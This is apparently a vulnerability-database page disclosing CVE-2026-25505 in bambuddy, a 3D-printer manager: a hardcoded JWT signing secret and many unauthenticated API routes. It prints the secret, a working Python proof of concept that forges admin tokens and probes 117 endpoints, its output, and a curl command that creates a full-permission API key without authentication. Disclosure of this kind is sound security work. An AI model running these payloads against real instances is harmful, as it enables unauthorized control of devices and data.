NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
CRITICAL severity

CVE-2026-25505 — bambuddy

CRITICALFix: maziggy/bambuddy@a82f927

CVE-2026-25505 is a critical-severity (CVSS 9.8) Missing Authentication vulnerability in bambuddy. A fix is available for bambuddy — see the affected versions and patch details below.

Bambuddy Uses Hardcoded Secret Key + Many API Endpoints do not Require Authentication

Also known asGHSA-gc24-px2r-5qmf
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-25505.

EPSS Exploitation Probability

via FIRST.org ↗
0.8%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs57th percentile — riskier than 57% of all scored CVEsHighest risk
0.00%0.48%0.96%1.45%0.1%0.8%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍bambuddy

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

  1. A hardcoded secret key used for signing JWTs is checked into source code
  2. ManyAPI routes do not check authentication

Details

I am using the publicly available docker image at ghcr.io/maziggy/bambuddy

1. Hardcoded JWT Secret Key

https://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28

<details> <summary>Copying the Authorization token from a request via browser networking tools into JWT.io confirms the token is signed with this key</summary> <img width="1591" height="937" alt="image" src="https://github.com/user-attachments/assets/fd6e805a-9380-438f-a412-623660fa3f5a" /> </details>

Any attacker can:

  1. Forge valid JWT tokens for any user
  2. Bypass authentication entirely
  3. Gain full administrative access to any Bambuddy instance using the default key

Steps to Reproduce:

  1. Run an instance of BamBuddy
  2. Create admin user
  3. Forge and use JWT:
import jwt
import requests

token = jwt.encode({"sub": "admin", "exp": 9999999999}, "bambuddy-secret-key-change-in-production", algorithm="HS256")
resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={"Authorization": f"Bearer {token}"})

print(resp.status_code) # 200
print(resp.text) # {"app":{"version":"0.1.7b","base_dir":"/app/data","archive_dir":"/app/data/archive"},"database": ...

2. Most API Routes do not check Auth

While investigating the JWT forgery, I noticed that requests without Authorization headers still returned information for many endpoints:

resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={}) # Empty headers

print(resp.status_code) # 200
print(resp.text) # {"app":{"version":"0.1.7b","base_dir":"/app/data","archive_dir":"/app/data/archive"},"database": ...

Full Script and Output

Note: I do not have smart plugs or spoolman set up to verify actual behavior with those endpoints so they are excluded from this script.

<details> <summary>Script to test GET endpoints with forged JWT and without any auth</summary>
#!/usr/bin/env python3
"""
Proof of Concept: JWT Forgery via Hardcoded Secret Key (VULN-001)
For security research purposes only.

Tests all GET endpoints to identify which are accessible without authentication.
"""

import requests
import jwt

# Hardcoded secret from backend/app/core/auth.py:28
HARDCODED_SECRET = "bambuddy-secret-key-change-in-production"
TARGET = "http://10.0.0.4:8000"
API_PREFIX = "/api/v1"

# All GET endpoints organized by router
ENDPOINTS = {
    "system": [
        "/system/info",
    ],
    "auth": [
        "/auth/status",
        "/auth/me",
    ],
    "users": [
        "/users",
        "/users/1",
        "/users/1/items-count",
    ],
    "groups": [
        "/groups",
        "/groups/permissions",
        "/groups/1",
    ],
    "settings": [
        "/settings",
        "/settings/check-ffmpeg",
        "/settings/spoolman",
        "/settings/backup",
        "/settings/virtual-printer/models",
        "/settings/virtual-printer",
        "/settings/mqtt/status",
    ],
    "printers": [
        "/printers/",
        "/printers/usb-cameras",
        "/printers/1",
        "/printers/1/status",
        "/printers/1/current-print-user",
        "/printers/1/cover",
        "/printers/1/files",
        "/printers/1/storage",
        "/printers/1/logging",
        "/printers/1/slot-presets",
        "/printers/1/slot-presets/1/1",
        "/printers/1/print/objects",
        "/printers/1/runtime-debug",
        "/printers/1/camera/status",
        "/printers/1/camera/test",
        "/printers/1/camera/plate-detection/status",
        "/printers/1/camera/plate-detection/references",
        "/printers/1/kprofiles/",
        "/printers/1/kprofiles/notes",
    ],
    "archives": [
        "/archives/",
        "/archives/search",
        "/archives/compare",
        "/archives/analysis/failures",
        "/archives/stats",
        "/archives/tags",
        "/archives/1",
        "/archives/1/similar",
        "/archives/1/duplicates",
        "/archives/1/capabilities",
        "/archives/1/gcode",
        "/archives/1/plates",
        "/archives/1/filament-requirements",
        "/archives/1/project-page",
        "/archives/1/source",
    ],
    "filaments": [
        "/filaments/",
        "/filaments/1",
        "/filaments/by-type/pla",
    ],
    "cloud": [
        "/cloud/status",
        "/cloud/settings",
        "/cloud/settings/1",
        "/cloud/devices",
        "/cloud/firmware-updates",
        "/cloud/fields",
        "/cloud/fields/print",
    ],
    "queue": [
        "/queue/",
        "/queue/1",
    ],
    "notifications": [
        "/notifications/",
        "/notifications/logs",
        "/notifications/logs/stats",
        "/notifications/1",
    ],
    "notification_templates": [
        "/notification-templates",
        "/notification-templates/variables",
        "/notification-templates/1",
    ],
    "updates": [
        "/updates/version",
        "/updates/check",
        "/updates/status",
    ],
    "maintenance": [
        "/maintenance/types",
        "/maintenance/overview",
        "/maintenance/summary",
        "/maintenance/printers/1",
        "/maintenance/items/1/history",
    ],
    "external_links": [
        "/external-links/",
        "/external-links/1",
    ],
    "projects": [
        "/projects",
        "/projects/templates",
        "/projects/1",
        "/projects/1/archives",
        "/projects/1/queue",
        "/projects/1/bom",
        "/projects/1/timeline",
    ],
    "library": [
        "/library/folders",
        "/library/folders/by-archive/1",
        "/library/folders/by-project/1",
        "/library/files",
        "/library/stats",
        "/library/folders/1",
        "/library/files/1",
        "/library/files/1/plates",
        "/library/files/1/gcode",
        "/library/files/1/filament-requirements",
    ],
    "api_keys": [
        "/api-keys/",
        "/api-keys/1",
    ],
    "webhook": [
        "/webhook/printer/1/status",
        "/webhook/queue",
    ],
    "ams_history": [
        "/ams-history/1/1",
    ],
    "support": [
        "/support/debug-logging",
        "/support/logs",
    ],
    "discovery": [
        "/discovery/info",
        "/discovery/status",
        "/discovery/printers",
        "/discovery/scan/status",
    ],
    "pending_uploads": [
        "/pending-uploads/",
        "/pending-uploads/count",
        "/pending-uploads/1",
    ],
    "firmware": [
        "/firmware/updates",
        "/firmware/updates/1",
        "/firmware/latest",
    ],
    "github_backup": [
        "/github-backup/config",
        "/github-backup/status",
        "/github-backup/logs",
    ],
    "metrics": [
        "/metrics",
    ],
}


def forge_token():
    """Forge a valid JWT token using the hardcoded secret."""
    payload = {"sub": "admin", "exp": 9999999999}
    return jwt.encode(payload, HARDCODED_SECRET, algorithm="HS256")


def test_endpoint(endpoint, headers):
    """Test a single endpoint and return status."""
    try:
        resp = requests.get(f"{TARGET}{API_PREFIX}{endpoint}", headers=headers, timeout=5)
        return resp.status_code, resp.text[:100] if resp.status_code == 200 else None
    except requests.RequestException as e:
        return "ERROR", str(e)[:50]


def main():
    token = forge_token()
    print(f"[*] Forged JWT token:\n    {token}\n")

    # Test with no auth, then with forged JWT
    test_modes = [
        ("NO AUTH", {}),
        ("FORGED JWT", {"Authorization": f"Bearer {token}"}),
    ]

    results = {"no_auth": [], "jwt_only": [], "both_fail": []}

    print(f"[*] Testing {sum(len(v) for v in ENDPOINTS.values())} endpoints against {TARGET}\n")
    print("=" * 70)

    for category, endpoints in ENDPOINTS.items():
        print(f"\n[{category.upper()}]")

        for endpoint in endpoints:
            no_auth_status, _ = test_endpoint(endpoint, {})
            jwt_status, preview = test_endpoint(endpoint, {"Authorization": f"Bearer {token}"})

            if no_auth_status == 200:
                results["no_auth"].append(endpoint)
                print(f"  {endpoint}: NO AUTH REQUIRED")
            elif jwt_status == 200:
                results["jwt_only"].append(endpoint)
                print(f"  {endpoint}: JWT WORKS")
            else:
                results["both_fail"].append((endpoint, no_auth_status, jwt_status))
                print(f"  {endpoint}: {no_auth_status} / {jwt_status}")

    # Summary
    print("\n" + "=" * 70)
    print("\n[SUMMARY]\n")

    print(f"Endpoints accessible WITHOUT authentication ({len(results['no_auth'])}):")
    for ep in results["no_auth"]:
        print(f"  - {ep}")

    print(f"\nEndpoints accessible with FORGED JWT only ({len(results['jwt_only'])}):")
    for ep in results["jwt_only"]:
        print(f"  - {ep}")

    print(f"\nEndpoints that rejected both ({len(results['both_fail'])}):")
    for ep, no_auth, jwt_auth in results["both_fail"]:
        print(f"  - {ep} (no_auth: {no_auth}, jwt: {jwt_auth})")


if __name__ == "__main__":
    main()
</details> <details> <summary>Script output</summary>
[*] Forged JWT token:
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzcGVlbmFoIiwiZXhwIjo5OTk5OTk5OTk5fQ.xeUmpf4PkhI7jHHGBPLWQEQQ4GTiiUOENeQkPpvNMnA

[*] Testing 117 endpoints against http://10.0.0.4:8000

======================================================================

[SYSTEM]
  /system/info: NO AUTH REQUIRED

[AUTH]
  /auth/status: NO AUTH REQUIRED
  /auth/me: JWT WORKS

[USERS]
  /users: JWT WORKS
  /users/1: JWT WORKS
  /users/1/items-count: JWT WORKS

[GROUPS]
  /groups: JWT WORKS
  /groups/permissions: JWT WORKS
  /groups/1: JWT WORKS

[SETTINGS]
  /settings: NO AUTH REQUIRED
  /settings/check-ffmpeg: NO AUTH REQUIRED
  /settings/spoolman: NO AUTH REQUIRED
  /settings/backup: NO AUTH REQUIRED
  /settings/virtual-printer/models: NO AUTH REQUIRED
  /settings/virtual-printer: NO AUTH REQUIRED
  /settings/mqtt/status: NO AUTH REQUIRED

[PRINTERS]
  /printers/: JWT WORKS
  /printers/usb-cameras: JWT WORKS
  /printers/1: JWT WORKS
  /printers/1/status: JWT WORKS
  /printers/1/current-print-user: JWT WORKS
  /printers/1/cover: JWT WORKS
  /printers/1/files: JWT WORKS
  /printers/1/storage: JWT WORKS
  /printers/1/logging: JWT WORKS
  /printers/1/slot-presets: JWT WORKS
  /printers/1/slot-presets/1/1: JWT WORKS
  /printers/1/print/objects: JWT WORKS
  /printers/1/runtime-debug: JWT WORKS
  /printers/1/camera/status: NO AUTH REQUIRED
  /printers/1/camera/test: ERROR / ERROR
  /printers/1/camera/plate-detection/status: NO AUTH REQUIRED
  /printers/1/camera/plate-detection/references: NO AUTH REQUIRED
  /printers/1/kprofiles/: ERROR / ERROR
  /printers/1/kprofiles/notes: NO AUTH REQUIRED

[ARCHIVES]
  /archives/: NO AUTH REQUIRED
  /archives/search: 422 / 422
  /archives/compare: 422 / 422
  /archives/analysis/failures: NO AUTH REQUIRED
  /archives/stats: NO AUTH REQUIRED
  /archives/tags: NO AUTH REQUIRED
  /archives/1: NO AUTH REQUIRED
  /archives/1/similar: NO AUTH REQUIRED
  /archives/1/duplicates: NO AUTH REQUIRED
  /archives/1/capabilities: NO AUTH REQUIRED
  /archives/1/gcode: NO AUTH REQUIRED
  /archives/1/plates: NO AUTH REQUIRED
  /archives/1/filament-requirements: NO AUTH REQUIRED
  /archives/1/project-page: NO AUTH REQUIRED
  /archives/1/source: 404 / 404

[FILAMENTS]
  /filaments/: NO AUTH REQUIRED
  /filaments/1: NO AUTH REQUIRED
  /filaments/by-type/pla: NO AUTH REQUIRED

[CLOUD]
  /cloud/status: NO AUTH REQUIRED
  /cloud/settings: 401 / 401
  /cloud/settings/1: 401 / 401
  /cloud/devices: 401 / 401
  /cloud/firmware-updates: 401 / 401
  /cloud/fields: NO AUTH REQUIRED
  /cloud/fields/print: NO AUTH REQUIRED

[QUEUE]
  /queue/: NO AUTH REQUIRED
  /queue/1: 404 / 404

[NOTIFICATIONS]
  /notifications/: NO AUTH REQUIRED
  /notifications/logs: NO AUTH REQUIRED
  /notifications/logs/stats: NO AUTH REQUIRED
  /notifications/1: 404 / 404

[NOTIFICATION_TEMPLATES]
  /notification-templates: NO AUTH REQUIRED
  /notification-templates/variables: NO AUTH REQUIRED
  /notification-templates/1: NO AUTH REQUIRED

[UPDATES]
  /updates/version: NO AUTH REQUIRED
  /updates/check: NO AUTH REQUIRED
  /updates/status: NO AUTH REQUIRED

[MAINTENANCE]
  /maintenance/types: NO AUTH REQUIRED
  /maintenance/overview: NO AUTH REQUIRED
  /maintenance/summary: NO AUTH REQUIRED
  /maintenance/printers/1: NO AUTH REQUIRED
  /maintenance/items/1/history: NO AUTH REQUIRED

[EXTERNAL_LINKS]
  /external-links/: NO AUTH REQUIRED
  /external-links/1: 404 / 404

[PROJECTS]
  /projects: NO AUTH REQUIRED
  /projects/templates: NO AUTH REQUIRED
  /projects/1: NO AUTH REQUIRED
  /projects/1/archives: NO AUTH REQUIRED
  /projects/1/queue: NO AUTH REQUIRED
  /projects/1/bom: NO AUTH REQUIRED
  /projects/1/timeline: NO AUTH REQUIRED

[LIBRARY]
  /library/folders: NO AUTH REQUIRED
  /library/folders/by-archive/1: NO AUTH REQUIRED
  /library/folders/by-project/1: NO AUTH REQUIRED
  /library/files: NO AUTH REQUIRED
  /library/stats: NO AUTH REQUIRED
  /library/folders/1: NO AUTH REQUIRED
  /library/files/1: 404 / 404
  /library/files/1/plates: 404 / 404
  /library/files/1/gcode: 404 / 404
  /library/files/1/filament-requirements: 404 / 404

[API_KEYS]
  /api-keys/: NO AUTH REQUIRED
  /api-keys/1: NO AUTH REQUIRED

[WEBHOOK]
  /webhook/printer/1/status: 401 / 401
  /webhook/queue: 401 / 401

[AMS_HISTORY]
  /ams-history/1/1: NO AUTH REQUIRED

[SUPPORT]
  /support/debug-logging: NO AUTH REQUIRED
  /support/logs: NO AUTH REQUIRED

[DISCOVERY]
  /discovery/info: NO AUTH REQUIRED
  /discovery/status: NO AUTH REQUIRED
  /discovery/printers: NO AUTH REQUIRED
  /discovery/scan/status: NO AUTH REQUIRED

[PENDING_UPLOADS]
  /pending-uploads/: NO AUTH REQUIRED
  /pending-uploads/count: NO AUTH REQUIRED
  /pending-uploads/1: 404 / 404

[FIRMWARE]
  /firmware/updates: NO AUTH REQUIRED
  /firmware/updates/1: NO AUTH REQUIRED
  /firmware/latest: NO AUTH REQUIRED

[GITHUB_BACKUP]
  /github-backup/config: NO AUTH REQUIRED
  /github-backup/status: NO AUTH REQUIRED
  /github-backup/logs: NO AUTH REQUIRED

[METRICS]
  /metrics: 401 / 401

======================================================================

[SUMMARY]

Endpoints accessible WITHOUT authentication (77):
  - /system/info
  - /auth/status
  - /settings
  - /settings/check-ffmpeg
  - /settings/spoolman
  - /settings/backup
  - /settings/virtual-printer/models
  - /settings/virtual-printer
  - /settings/mqtt/status
  - /printers/1/camera/status
  - /printers/1/camera/plate-detection/status
  - /printers/1/camera/plate-detection/references
  - /printers/1/kprofiles/notes
  - /archives/
  - /archives/analysis/failures
  - /archives/stats
  - /archives/tags
  - /archives/1
  - /archives/1/similar
  - /archives/1/duplicates
  - /archives/1/capabilities
  - /archives/1/gcode
  - /archives/1/plates
  - /archives/1/filament-requirements
  - /archives/1/project-page
  - /filaments/
  - /filaments/1
  - /filaments/by-type/pla
  - /cloud/status
  - /cloud/fields
  - /cloud/fields/print
  - /queue/
  - /notifications/
  - /notifications/logs
  - /notifications/logs/stats
  - /notification-templates
  - /notification-templates/variables
  - /notification-templates/1
  - /updates/version
  - /updates/check
  - /updates/status
  - /maintenance/types
  - /maintenance/overview
  - /maintenance/summary
  - /maintenance/printers/1
  - /maintenance/items/1/history
  - /external-links/
  - /projects
  - /projects/templates
  - /projects/1
  - /projects/1/archives
  - /projects/1/queue
  - /projects/1/bom
  - /projects/1/timeline
  - /library/folders
  - /library/folders/by-archive/1
  - /library/folders/by-project/1
  - /library/files
  - /library/stats
  - /library/folders/1
  - /api-keys/
  - /api-keys/1
  - /ams-history/1/1
  - /support/debug-logging
  - /support/logs
  - /discovery/info
  - /discovery/status
  - /discovery/printers
  - /discovery/scan/status
  - /pending-uploads/
  - /pending-uploads/count
  - /firmware/updates
  - /firmware/updates/1
  - /firmware/latest
  - /github-backup/config
  - /github-backup/status
  - /github-backup/logs

Endpoints accessible with FORGED JWT only (20):
  - /auth/me
  - /users
  - /users/1
  - /users/1/items-count
  - /groups
  - /groups/permissions
  - /groups/1
  - /printers/
  - /printers/usb-cameras
  - /printers/1
  - /printers/1/status
  - /printers/1/current-print-user
  - /printers/1/cover
  - /printers/1/files
  - /printers/1/storage
  - /printers/1/logging
  - /printers/1/slot-presets
  - /printers/1/slot-presets/1/1
  - /printers/1/print/objects
  - /printers/1/runtime-debug

Endpoints that rejected both (20):
  - /printers/1/camera/test (no_auth: ERROR, jwt: ERROR)
  - /printers/1/kprofiles/ (no_auth: ERROR, jwt: ERROR)
  - /archives/search (no_auth: 422, jwt: 422)
  - /archives/compare (no_auth: 422, jwt: 422)
  - /archives/1/source (no_auth: 404, jwt: 404)
  - /cloud/settings (no_auth: 401, jwt: 401)
  - /cloud/settings/1 (no_auth: 401, jwt: 401)
  - /cloud/devices (no_auth: 401, jwt: 401)
  - /cloud/firmware-updates (no_auth: 401, jwt: 401)
  - /queue/1 (no_auth: 404, jwt: 404)
  - /notifications/1 (no_auth: 404, jwt: 404)
  - /external-links/1 (no_auth: 404, jwt: 404)
  - /library/files/1 (no_auth: 404, jwt: 404)
  - /library/files/1/plates (no_auth: 404, jwt: 404)
  - /library/files/1/gcode (no_auth: 404, jwt: 404)
  - /library/files/1/filament-requirements (no_auth: 404, jwt: 404)
  - /webhook/printer/1/status (no_auth: 401, jwt: 401)
  - /webhook/queue (no_auth: 401, jwt: 401)
  - /pending-uploads/1 (no_auth: 404, jwt: 404)
  - /metrics (no_auth: 401, jwt: 401)
</details>

While this script only tests the GET endpoints, these vulnerabilities are not exclusive to GET endpoints. The GET endpoints were easiest to script since they generally don't require many parameters, but other methods still appear vulnerable. I manually tested POST /api/v1/api-keys/ and was able to create a new API key with all permissions without auth:

curl 'http://10.0.0.4:8000/api/v1/api-keys/' -X POST -H 'Content-Type: application/json' --data-raw '{"name":"new key","can_queue":true,"can_control_printer":true,"can_read_status":true}'

yields

{"id":7,"name":"new key","key_prefix":"bb_QW2su...","can_queue":true,"can_control_printer":true,"can_read_status":true,"printer_ids":null,"enabled":true,"last_used":null,"created_at":"2026-02-01T23:14:15","expires_at":null,"key":"bb_QW2suZVIHiUbadSyyAMrnmf0zFhDG5e9BSVBvb4ZN-w"}

Impact

BamBuddy is vulnerable to unauthorized access and control

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIbambuddyall versions0.1.7pip install --upgrade 'bambuddy==0.1.7'

Affected Products

1 product · 1 configurations
Application
bambuddybambuddy
< 0.1.7
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for bambuddy, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update bambuddy to 0.1.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-25505 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

### Summary 1. A hardcoded secret key used for signing JWTs is checked into source code 2. ManyAPI routes do not check authentication ### Details I am using the publicly available docker image at `ghcr.io/maziggy/bambuddy` #### 1. Hardcoded JWT Secret Key https://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28 <details> <summary>Copying the Authorization token from a request via browser networking tools into JWT.io confirms the token is signed with this key</summary> <img width="1591" height="937" alt="image" src="https://github.com/use
O3 Security · Impact-Aware SCA

Is CVE-2026-25505 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-25505: bambuddy — Fixed in 0.1.7